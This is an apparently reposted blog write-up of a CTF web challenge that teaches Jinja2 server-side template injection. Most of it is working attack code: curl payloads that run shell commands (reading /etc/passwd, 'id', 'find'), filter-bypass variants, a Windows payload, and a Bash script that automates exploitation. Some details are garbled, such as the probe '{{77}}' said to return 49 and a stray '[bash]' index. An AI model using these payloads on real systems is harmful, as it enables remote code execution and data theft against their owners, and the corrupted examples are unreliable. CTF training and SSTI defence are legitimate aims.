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Introduction:
The recent Black Hat USA 2025 CTF challenge, “Hide & Seek,” crafted by Alex Brumens for YesWeHack, presented a classic web security auditing puzzle. This challenge required participants to meticulously analyze source code to uncover and exploit a vulnerability, ultimately leading to the extraction of a hidden flag. Mastering such challenges is fundamental for developing the analytical mindset needed for advanced penetration testing and bug bounty hunting.
Learning Objectives:
- Understand the methodology of source code auditing for web applications.
- Identify and exploit a common Server-Side Template Injection (SSTI) vulnerability.
- Learn techniques for bypassing common web application security filters.
You Should Know:
1. The Art of Source Code Auditing
The first step in any CTF or real-world assessment is understanding the application you are targeting. This involves reviewing available source code for logic flaws, insecure functions, and potential injection points.
` Example command to review a downloaded CTF challenge structure
find . -name “.py” -o -name “.js” -o -name “.php” | xargs grep -l “eval\|exec\|render_template”`
Step-by-step guide: After downloading the challenge files, use the `find` and `grep` commands to quickly locate key files and potentially dangerous functions. The command above searches for Python, JavaScript, and PHP files that contain terms like ‘eval’, ‘exec’, or ‘render_template’, which are often associated with command execution and template rendering vulnerabilities. This narrows down the attack surface significantly.
2. Identifying a Server-Side Template Injection (SSTI)
SSTI occurs when user input is unsafely incorporated into a template, allowing an attacker to execute arbitrary code on the server. The challenge likely involved injecting into a template engine like Jinja2 (Python).
` Probing for SSTI in a web input field
curl -X POST http://target.com/form_endpoint -d “input={{77}}” -H “Content-Type: application/x-www-form-urlencoded”`
Step-by-step guide: Use `curl` to send a basic SSTI probe. If the response computes the operation and returns `49` instead of the string {{77}}, it strongly indicates an SSTI vulnerability. This is the initial confirmation step before crafting a more complex payload.
3. Crafting a Proof-of-Concept SSTI Payload
Once SSTI is confirmed, the next step is to identify the template engine and craft a payload to prove exploitability.
` Jinja2 PoC to read the local file /etc/passwd
curl -X POST http://target.com/form_endpoint -d “input={{”.__class__.__mro__[bash].__subclasses__()[408](‘cat /etc/passwd’, shell=True, stdout=-1).communicate()}}” -H “Content-Type: application/x-www-form-urlencoded”`
Step-by-step guide: This complex Jinja2 payload traverses Python’s object inheritance to reach the `subprocess.Popen` class (often at index 408, but this can vary) and executes a system command to read a file. The `communicate()` method returns the command’s output. This step verifies remote code execution.
4. Bypassing Common Input Filters
CTF challenges often include filters that block key characters like dots, underscores, or brackets. Bypasses are required.
` Bypassing filters using alternative request encoding and string concatenation
curl -X POST http://target.com/form_endpoint –data-urlencode “input={{request[‘application’][‘__globals__’][‘__builtins__’][‘__import__’](‘os’)[‘popen’](‘id’)[‘read’]()}}”`
Step-by-step guide: If the standard payload is blocked, alternative syntax is needed. This payload uses the Flask/Jinja2 `request` object and string-based attribute access to avoid using dots. The `–data-urlencode` flag with curl ensures the payload is properly encoded for HTTP transmission.
5. Exfiltrating the Final Flag
The ultimate goal is to locate and extract the flag file, which often has a non-standard name or path.
` Linux command to find a file named with ‘flag’ in the current directory or subdirectories
find / -name “flag” -type f 2>/dev/null
Curl payload to execute the find command and return its output
curl -X POST http://target.com/vulnerable_endpoint -d “input={{config.__class__.__init__.__globals__[‘os’][‘popen’](‘find / -name flag 2>/dev/null’).read()}}”`
Step-by-step guide: The first command is what you would run on a compromised system. The second command is the SSTI payload that executes it. The `2>/dev/null` suppresses permission errors to clean up the output. Once the full path to the flag is known, a final payload using `cat` can be sent to retrieve it.
6. Windows Alternative: Process Discovery
For Windows-based challenges, the methodology shifts to using Windows commands.
` SSTI payload to list processes on a Windows server
curl -X POST http://target.com/vulnerable_endpoint -d “input={{[‘tasklist’].__class__.__base__.__subclasses__()[229](‘cmd /c tasklist’, shell=True, stdout=-1).communicate()[bash]}}”`
Step-by-step guide: This payload is adapted for Windows, executing the `tasklist` command to show running processes. The index `229` must be replaced with the correct index for the `subprocess.Popen` class within the specific target environment, which is found through enumeration.
7. Building Your Exploit Script
Automating the exploitation process is key for efficiency and reliability.
`!/bin/bash
TARGET=”http://target.com/form_endpoint”
Step 1: Confirm SSTI
RESPONSE=$(curl -s -X POST $TARGET -d “input={{77}}”)
if [[ $RESPONSE == “49” ]]; then
echo “[+] SSTI Confirmed!”
Step 2: Exploit to get flag
FLAG=$(curl -s -X POST $TARGET -d “input={{config.__class__.__init__.__globals__[‘os’][‘popen’](‘cat /challenge/flag.txt’).read()}}”)
echo “[+] Flag: $FLAG”
else
echo “[-] SSTI not present.”
fi`
Step-by-step guide: This Bash script automates the SSTI discovery and exploitation process. The `-s` flag silences curl’s progress output. It first probes for SSTI and, upon confirmation, sends the final payload to read the flag, storing the result in a variable. This is a foundational script that can be expanded for more complex attacks.
What Undercode Say:
- Persistence Pays Off: The iterative process of “Trying -> Not working -> Research -> Fail -> Fail Again -> (New Error) Might work? -> Change one byte -> Voilà” is the true essence of successful security research and exploitation.
- The Foundation is Key: Advanced exploits (OSEP/CRTO) are built on a solid understanding of basic vulnerabilities like SSTI. Mastery of these fundamentals is non-negotiable.
The “Hide & Seek” challenge is a perfect exemplar of how modern web applications can be compromised through subtle logic flaws. The exploit chain, while potentially complex, hinges on a single critical vulnerability: unsanitized user input being passed to a rendering function. This analysis underscores that despite advancements in framework security, developer oversight remains the primary risk. The methodology demonstrated—code auditing, probing, filter bypassing, and automated exploitation—is directly transferable to real-world web app penetration tests and bug bounty engagements, proving the immense value of CTF challenges as training tools.
Prediction:
The sophistication of SSTI and other code injection attacks will continue to evolve, moving further into serverless architectures (AWS Lambda, Azure Functions) and integrated development environments. We predict a rise in vulnerabilities within “low-code” platforms where user-generated content is dynamically executed, leading to a new wave of supply-chain attacks targeting the developers themselves. Defenses will need to shift left, incorporating more advanced static and dynamic application security testing (SAST/DAST) directly into the CI/CD pipeline to catch these flaws before they ever reach production.
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IT/Security Reporter URL:
Reported By: https://lnkd.in/p/d9u8VvFq – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
